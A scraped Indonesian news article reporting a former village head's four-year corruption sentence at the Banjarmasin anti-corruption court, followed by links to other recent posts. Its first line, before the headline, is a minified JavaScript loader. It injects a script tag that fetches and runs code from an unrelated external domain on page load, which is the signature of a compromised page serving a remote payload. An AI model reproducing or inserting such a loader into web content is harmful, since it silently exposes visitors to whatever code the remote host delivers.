(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Divonis 4 Tahun Penjara, Mantan Kades Merah Langsung Terima Putusan


KANALKALIMANTAN.COM, BANJARMASIN – Kasus korupsi yang menjerat mantan Kepala Desa (Kades) Merah, Kecamatan Awayan, Kabupaten Balangan, Kalsel memasuki babak akhir.

Melalui sidang putusan, Rabu (13/9/2023) siang, majelis hakim Pengadilan Tipikor Banjarmasin menyatakan Syamsuni terbukti bersalah melakukan tindak korupsi dan dijatuhi pidana selama 4 tahun penjara.

“Menjatuhkan pidana kepada Syamsuni dengan pidana 4 tahun penjara dikurangi masa tahanan. Serta membayar denda sebesar Rp200 juta subsider 2 bulan kurungan,” bunyi vonis majelis hakim yang diketuai Jamser Simanjuntak.

Baca juga: Fredy Pratama Masih Buron di Luar Negeri, Pasok Narkoba 100-500 Kg per Bulan

Selain hukuman pidana penjara, majelis hakim juga membebani Syamsuni untuk membayar uang pengganti kerugian negara sebesar Rp195.337.908.

Namun, apabila uang pengganti tersebut tidak dibayar 1 bulan setelah putusan berkekuatan hukum tetap, maka hartanya disita dan dilelang jaksa, dan apabila hartanya tidak cukup menutupi uang pengganti maka diganti dengan 6 bulan penjara.

Syamsuni, Kades Merah periode 2013-2019 itu dinyatakan terbukti melanggar pasal 2 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwaan primair.

Baca juga: Janjian Berkelahi Digagalkan Polisi, Remaja dari Gambut Dibekuk Simpan Karambit

Berdasarkan perhitungan Inspektorat Balangan, perbuatan mantan Kades Merah tersebut telah merugikan keuangan negara sebesar RpRp195.337.908 dari APBDes tahun anggaran 2017.

Vonis 4 tahun penjara itu lebih ringan dari tuntutan JPU dari Kejari Balangan yang sebelumnya menuntut Syamsuni dengan pidana 4 tahun 6 bulan penjara. Sementara, untuk vonis uang pengganti nilainya sama seperti pada tuntutan.

Menurut hakim, hal yang memberangkatkan yaitu perbuatan Syamsuni selaku mantan Kades Merah tidak mendukung program pemerintah dalam pemberantasan korupsi. Sementara untuk yang meringankan terdakwa bersikap sopan dipersidangan.

Baca juga : Demo di Kantor Gubernur Kalsel, Mahasiswa Tuntut Kinerja Paman Birin

Usai pembacaan vonis, terdakwa Syamsuni yang didampingi penasehat hukum tanpa pikir-pikir langsung menerima putusan majelis hakim alias tidak mengajukan banding.

“Terima yang mulia,” ucap terdakwa Syamsuni yang mengikuti sidang secara daring dari Lapas Amuntai.

Begitu juga JPU Adi Suparna yang hadir di persidangan mengatakan menerima putusan majelis hakim pengadilan Tipikor Banjarmasin. (Kanalkalinantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

4 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

4 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

5 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

9 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

11 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

11 jam ago

This website uses cookies.